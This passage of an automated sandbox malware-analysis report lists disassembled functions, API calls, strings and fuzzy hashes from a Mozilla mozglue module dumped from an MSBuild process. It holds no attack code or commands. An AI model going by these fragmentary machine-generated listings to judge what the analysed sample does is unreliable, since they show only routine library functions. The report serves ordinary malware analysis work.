Opcode Fuzzy Hash: 02475089556b6c09a899e6bab1fced7bce31bd29cf71b9afc268fe706d54a073
Instruction Fuzzy Hash: 8E41D5B2D002158FCB00DF69DC80DAEB7B5FB88321F260669E825E7780E731AD1187D5

Function 6C4EEF30 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(6C565104), ref: 6C4EEFAC
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C4EEFD7
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C4EEFEC
free.MOZGLUE(?), ref: 6C4EF00C
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C4EF02E
memcpy.VCRUNTIME140(00000000,?), ref: 6C4EF041
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C4EF065
moz_xmalloc.MOZGLUE ref: 6C4EF072

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 1148890222-0
Opcode ID: 47143c54e4121ee95f36ca9d35d52dc94d0ede05b889239a745328aa896cd2f4
Instruction ID: 33baca3fbbbcdc8d968ee79fec28e71a82f10a0890d5c728d4a6b4ff9e733c54
Opcode Fuzzy Hash: 47143c54e4121ee95f36ca9d35d52dc94d0ede05b889239a745328aa896cd2f4
Instruction Fuzzy Hash: 2E41F4B1E002059FDB08CF68EC81DAE7765EF88324B25062DE815DB794EB31E915C7E1

Function 6C55B540 Relevance: 12.1, APIs: 8, Instructions: 93COMMON

Download Yara Rule

APIs

?classic@locale@std@@SAABV12@XZ.MSVCP140 ref: 6C55B5B9
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C55B5C5
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C55B5DA
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C55B5F4
__Init_thread_footer.LIBCMT ref: 6C55B605
?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,?,00000000), ref: 6C55B61F
std::_Facet_Register.LIBCPMT ref: 6C55B631
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C55B655

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?classic@locale@std@@Bid@locale@std@@D@std@@Facet_Getcat@?$ctype@Init_thread_footerRegisterV12@V42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 1276798925-0
Opcode ID: 10dcb3a1fd3aecfd812416e8dbf7ef2bfe7ebec51cddb18c068719962a68d62c
Instruction ID: 25806667afd95c9aa64a35abf579444fb4e7d9b976c8700cadbbdb005990cc44
Opcode Fuzzy Hash: 10dcb3a1fd3aecfd812416e8dbf7ef2bfe7ebec51cddb18c068719962a68d62c
Instruction Fuzzy Hash: 75319472F00114CBCB04EB6ACC58ABEB7B5FB8A324B560616E50197750DB30A9168B95

Function 6C526590 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 342COMMON

Download Yara Rule

APIs

Part of subcall function 6C51FA80: GetCurrentThreadId.KERNEL32 ref: 6C51FA8D
Part of subcall function 6C51FA80: AcquireSRWLockExclusive.KERNEL32(6C56F448), ref: 6C51FA99

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C526727
?GetOrAddIndex@UniqueJSONStrings@baseprofiler@mozilla@@AAEIABV?$Span@$$CBD$0PPPPPPPP@@3@@Z.MOZGLUE(?,?,?,?,?,?,?,00000001), ref: 6C5267C8

Part of subcall function 6C534290: memcpy.VCRUNTIME140(?,?,6C542003,6C540AD9,?,6C540AD9,00000000,?,6C540AD9,?,00000004,?,6C541A62,?,6C542003,?), ref: 6C5342C4

Strings

vVl, xrefs: 6C52696C
data, xrefs: 6C526593

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentIndex@P@@3@@ReleaseSpan@$$Strings@baseprofiler@mozilla@@ThreadUniquememcpy
String ID: data$vVl
API String ID: 511789754-4200627858
Opcode ID: c2c083e612f4311f0117d5bf419193bf38363eeddf82bc15f59adf4de18e0de1
Instruction ID: a09af372c39a9d96287b5a51d3b090a91b51d716686c0b00c2b3f8a9611cccb0
Opcode Fuzzy Hash: c2c083e612f4311f0117d5bf419193bf38363eeddf82bc15f59adf4de18e0de1
Instruction Fuzzy Hash: 97D19A75A083408FD724CF25CC40B9EBBE1AFC5308F54492EE48987B91EB35A949CB92

Function 6C51D5D0 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 279COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000001,?,?,?,?,6C4EEB57,?,?,?,?,?,?,?,?,?), ref: 6C51D652
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6C4EEB57,?), ref: 6C51D660
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6C4EEB57,?), ref: 6C51D673
free.MOZGLUE(?), ref: 6C51D888

Strings

WNl, xrefs: 6C51D5D9, 6C51D63F
|Enabled, xrefs: 6C51D81E

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: free$memsetmoz_xmalloc
String ID: WNl$|Enabled
API String ID: 4142949111-2558305780
Opcode ID: 84676f8c990581195bf748d5510ddd866f6543706137a6c91e3724fc53030b9c
Instruction ID: 450c10ec16cbee0e6bb0f836e184e4566a55dc090c1066d419e5ced8dd27c792
Opcode Fuzzy Hash: 84676f8c990581195bf748d5510ddd866f6543706137a6c91e3724fc53030b9c
Instruction Fuzzy Hash: 08A106B0A043049FEB12CF69CCC4BAEBBF1AF49318F14855CD895ABB41D735A945CBA1

Function 6C4F9830 Relevance: 10.7, APIs: 7, Instructions: 196COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,?,?,6C547ABE), ref: 6C4F985B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,6C547ABE), ref: 6C4F98A8
moz_xmalloc.MOZGLUE(00000020), ref: 6C4F9909
memcpy.VCRUNTIME140(00000023,?,?), ref: 6C4F9918
free.MOZGLUE(?), ref: 6C4F9975

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: free$_invalid_parameter_noinfo_noreturnmemcpymoz_xmalloc
String ID:
API String ID: 1281542009-0
Opcode ID: f8b792b64bcab7121aecd3554963ea51e6e57f7768bd8ec21be6c501b41c7b57
Instruction ID: 53ca2ac66d3d3226b0cf60925a6a0b52976189cf47dad7b9cfa5aed87524961f
Opcode Fuzzy Hash: f8b792b64bcab7121aecd3554963ea51e6e57f7768bd8ec21be6c501b41c7b57
Instruction Fuzzy Hash: FF718B746007058FC725CF28C480D56B7F1FF9A3247654AADD86A8BBA0D772B846CF91

Function 6C4FB790 Relevance: 10.6, APIs: 7, Instructions: 147COMMON

Download Yara Rule

APIs

?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6C53CC83,?,?,?,?,?,?,?,?,?,6C53BCAE,?,?,6C52DC2C), ref: 6C4FB7E6
?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6C53CC83,?,?,?,?,?,?,?,?,?,6C53BCAE,?,?,6C52DC2C), ref: 6C4FB80C
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,6C53CC83,?,?,?,?,?,?,?,?,?,6C53BCAE), ref: 6C4FB88E
?_Osfx@?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEXXZ.MSVCP140(?,6C53CC83,?,?,?,?,?,?,?,?,?,6C53BCAE,?,?,6C52DC2C), ref: 6C4FB896

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: ?good@ios_base@std@@D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@Osfx@?$basic_ostream@
String ID:
API String ID: 922945588-0
Opcode ID: 33a8b746289dbfb3a65d34b24ad262ef56bd6d4cfa8a6769da3b2c0858b0feb0
Instruction ID: 618b79d68667d185805b35eb59ae58ec24f7e724ec0c6d15101240c08f9bdb24
Opcode Fuzzy Hash: 33a8b746289dbfb3a65d34b24ad262ef56bd6d4cfa8a6769da3b2c0858b0feb0
Instruction Fuzzy Hash: 22518A757006048FCB15DF59C884E3ABBF5FFCA319B698559E9AA8B351C731E802CB84

Function 6C531D00 Relevance: 10.6, APIs: 7, Instructions: 115threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C531D0F
AcquireSRWLockExclusive.KERNEL32(?,?,6C531BE3,?,?,6C531D96,00000000), ref: 6C531D18
ReleaseSRWLockExclusive.KERNEL32(?,?,6C531BE3,?,?,6C531D96,00000000), ref: 6C531D4C
GetCurrentThreadId.KERNEL32 ref: 6C531DB7
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C531DC0
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C531DDA

Part of subcall function 6C531EF0: GetCurrentThreadId.KERNEL32 ref: 6C531F03
Part of subcall function 6C531EF0: AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,6C531DF2,00000000,00000000), ref: 6C531F0C
Part of subcall function 6C531EF0: ReleaseSRWLockExclusive.KERNEL32 ref: 6C531F20

moz_xmalloc.MOZGLUE(00000008,00000000,00000000), ref: 6C531DF4

Part of subcall function 6C4FCA10: malloc.MOZGLUE(?), ref: 6C4FCA26

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$mallocmoz_xmalloc
String ID:
API String ID: 1880959753-0
Opcode ID: 47214ee22d566623602b0dd4ef5e00947771b8fb6f7b0acf9a0770058681764f
Instruction ID: e9a6977ceeee7f808cd0364d7672c4ca29f469c0232e866bad4ce2f4fc30bc99
Opcode Fuzzy Hash: 47214ee22d566623602b0dd4ef5e00947771b8fb6f7b0acf9a0770058681764f
Instruction Fuzzy Hash: 894156B56007009FCB10DF29C888B66BBF9FB89324F11442EE99A87B51DB71F854CB95

Function 6C4F38A0 Relevance: 10.6, APIs: 7, Instructions: 80memoryCOMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6C56E220,?,?,?,?,6C4F3899,?), ref: 6C4F38B2
ReleaseSRWLockExclusive.KERNEL32(6C56E220,?,?,?,6C4F3899,?), ref: 6C4F38C3
free.MOZGLUE(00000000,?,00000000,0000002C,?,?,?,6C4F3899,?), ref: 6C4F38F1
RtlFreeHeap.NTDLL ref: 6C4F3920
RtlFreeUnicodeString.NTDLL(-0000000C,?,?,?,6C4F3899,?), ref: 6C4F392F
RtlFreeUnicodeString.NTDLL(-00000014,?,?,?,6C4F3899,?), ref: 6C4F3943
RtlFreeHeap.NTDLL ref: 6C4F396E

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: Free$ExclusiveHeapLockStringUnicode$AcquireReleasefree
String ID:
API String ID: 3047341122-0
Opcode ID: 6a7a4250fb87a36d28508fc38427585aee6cf593330c6e194f5eb9d89fe7f122
Instruction ID: 0efca10549c684b9a77316faed70f17dafb4af91d1742329d261886d1ed40a0b
Opcode Fuzzy Hash: 6a7a4250fb87a36d28508fc38427585aee6cf593330c6e194f5eb9d89fe7f122
Instruction Fuzzy Hash: BE21CC72600614DFD720DF25CC80F96B7E9EF85328F158429E96A97B10CB35E886CB92

Function 6C5284E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5284F3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C52850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C52851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C52855B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C52856F
??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5285AC

Part of subcall function 6C527670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C5285B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C52767F
Part of subcall function 6C527670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C5285B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C527693
Part of subcall function 6C527670: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C5285B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5276A7

free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5285B2

Part of subcall function 6C505E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C505EDB
Part of subcall function 6C505E90: memset.VCRUNTIME140(ewTl,000000E5,?), ref: 6C505F27
Part of subcall function 6C505E90: LeaveCriticalSection.KERNEL32(?), ref: 6C505FB2

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
Opcode ID: 39e07a573f7d91ed51b15a61c1aa8a1d643b07c30e6f0cea66ab5954d27a76b6
Instruction ID: d91622da5e36b8631b2754c868ca1eb8cafa178378d9b45a4221211d82a06c11
Opcode Fuzzy Hash: 39e07a573f7d91ed51b15a61c1aa8a1d643b07c30e6f0cea66ab5954d27a76b6
Instruction Fuzzy Hash: 17219E713016019FDB14DB69CC88A6A77F5AF8431CF140829E59BC3B82EB35F948CB56

Function 6C4F1640 Relevance: 10.6, APIs: 7, Instructions: 77COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,00000114), ref: 6C4F1699
VerSetConditionMask.NTDLL ref: 6C4F16CB
VerSetConditionMask.NTDLL ref: 6C4F16D7
VerSetConditionMask.NTDLL ref: 6C4F16DE
VerSetConditionMask.NTDLL ref: 6C4F16E5
VerSetConditionMask.NTDLL ref: 6C4F16EC
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C4F16F9

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemset
String ID:
API String ID: 375572348-0
Opcode ID: 725a8d0dd5c655630a4c012a56fba7f139cca07bdf479e73cdafa2463362c29e
Instruction ID: f3a428e47cd2f8e85bc870b298a4fdd4d813234fb18c3f83184acc2f47eb0af3
Opcode Fuzzy Hash: 725a8d0dd5c655630a4c012a56fba7f139cca07bdf479e73cdafa2463362c29e
Instruction Fuzzy Hash: 112102F0B402086BFB11AA698C85FBFB3BCEFD6704F014528F6449B690C6B49D558AA1

Function 6C53D1D0 Relevance: 10.6, APIs: 7, Instructions: 74threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C53D1EC
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C53D1F5

Part of subcall function 6C53AD40: moz_malloc_usable_size.MOZGLUE(?), ref: 6C53AE20

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C53D211
GetCurrentThreadId.KERNEL32 ref: 6C53D217
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C53D226
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C53D279
free.MOZGLUE(?), ref: 6C53D2B2

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$freemoz_malloc_usable_size
String ID:
API String ID: 3049780610-0
Opcode ID: 9fa86198e9560ec72560d35c054fa1d972d374b0cbad86b9c353f656a350c014
Instruction ID: 54a1820f3aaed60e57e7d058e50a19b296a4601c411a9e6bd9626d76493111b2
Opcode Fuzzy Hash: 9fa86198e9560ec72560d35c054fa1d972d374b0cbad86b9c353f656a350c014
Instruction Fuzzy Hash: 06218171604301DBCB05DF25C888AAEB7B5FF8A324F11052DF51987350EB31A809CB9A

Function 6C52F5B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C51CBE8: GetCurrentProcess.KERNEL32(?,6C4E31A7), ref: 6C51CBF1
Part of subcall function 6C51CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C4E31A7), ref: 6C51CBFA

Part of subcall function 6C529420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C4F4A68), ref: 6C52945E
Part of subcall function 6C529420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C529470
Part of subcall function 6C529420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C529482
Part of subcall function 6C529420: __Init_thread_footer.LIBCMT ref: 6C52949F

GetCurrentThreadId.KERNEL32 ref: 6C52F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C52F598), ref: 6C52F621

Part of subcall function 6C5294D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5294EE
Part of subcall function 6C5294D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C529508

GetCurrentThreadId.KERNEL32 ref: 6C52F637
AcquireSRWLockExclusive.KERNEL32(6C56F4B8,?,?,00000000,?,6C52F598), ref: 6C52F645
ReleaseSRWLockExclusive.KERNEL32(6C56F4B8,?,?,00000000,?,6C52F598), ref: 6C52F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C52F62A

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: Currentgetenv$ExclusiveLockProcessThread$AcquireInit_thread_footerReleaseTerminate__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 1579816589-753366533
Opcode ID: e07b4acf41703333bc691b47db5d3f9b89a83be2de4f091dc56ce61a50dfdd40
Instruction ID: 34f3b82af90912c09e1e494dda3ed8bb1756c07738cb848053a23c1dcc8a4ba0
Opcode Fuzzy Hash: e07b4acf41703333bc691b47db5d3f9b89a83be2de4f091dc56ce61a50dfdd40
Instruction Fuzzy Hash: 8711C131705214ABCB04AF1EDC48AA5B7B9FBC6359B110115FA0583F62CB36AC15CBA4

Function 6C4F2070 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 68libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C51AB89: EnterCriticalSection.KERNEL32(6C56E370,?,?,?,6C4E34DE,6C56F6CC,?,?,?,?,?,?,?,6C4E3284), ref: 6C51AB94
Part of subcall function 6C51AB89: LeaveCriticalSection.KERNEL32(6C56E370,?,6C4E34DE,6C56F6CC,?,?,?,?,?,?,?,6C4E3284,?,?,6C5056F6), ref: 6C51ABD1

LoadLibraryW.KERNEL32(combase.dll,6C4F1C5F), ref: 6C4F20AE
GetProcAddress.KERNEL32(00000000,CoInitializeSecurity), ref: 6C4F20CD
__Init_thread_footer.LIBCMT ref: 6C4F20E1
FreeLibrary.KERNEL32 ref: 6C4F2124

Strings

combase.dll, xrefs: 6C4F20A9
CoInitializeSecurity, xrefs: 6C4F20C7

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeSecurity$combase.dll
API String ID: 4190559335-2476802802
Opcode ID: 4136e47fb6bfa61b74c4bde936434871b31a60271355e6b685eefc79854fb032
Instruction ID: c11a317eddbacffe0990ee18b3fbb715f0b2eaa2dd7694b1306a566493c7d53c
Opcode Fuzzy Hash: 4136e47fb6bfa61b74c4bde936434871b31a60271355e6b685eefc79854fb032
Instruction Fuzzy Hash: DF21D032600149EFDF11CF5ADC48EAA3B76FB9A325F014215FA1092621DB319C62DF55

Function 6C5476C0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 6C5476F2
moz_xmalloc.MOZGLUE(00000001), ref: 6C547705

Part of subcall function 6C4FCA10: malloc.MOZGLUE(?), ref: 6C4FCA26

memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C547717
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,6C54778F,00000000,00000000,00000000,00000000), ref: 6C547731
free.MOZGLUE(00000000), ref: 6C547760

Strings

}>Rl, xrefs: 6C5476C4

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: ByteCharMultiWide$freemallocmemsetmoz_xmalloc
String ID: }>Rl
API String ID: 2538299546-1517124962
Opcode ID: 6987373e83371895a6ec170e541ac04199753ace3add9b5dad91868938bd0485
Instruction ID: 1180ac76f7897912ce4951389eae9e45c69892081eddf832b6d5cd27e8d7d901
Opcode Fuzzy Hash: 6987373e83371895a6ec170e541ac04199753ace3add9b5dad91868938bd0485
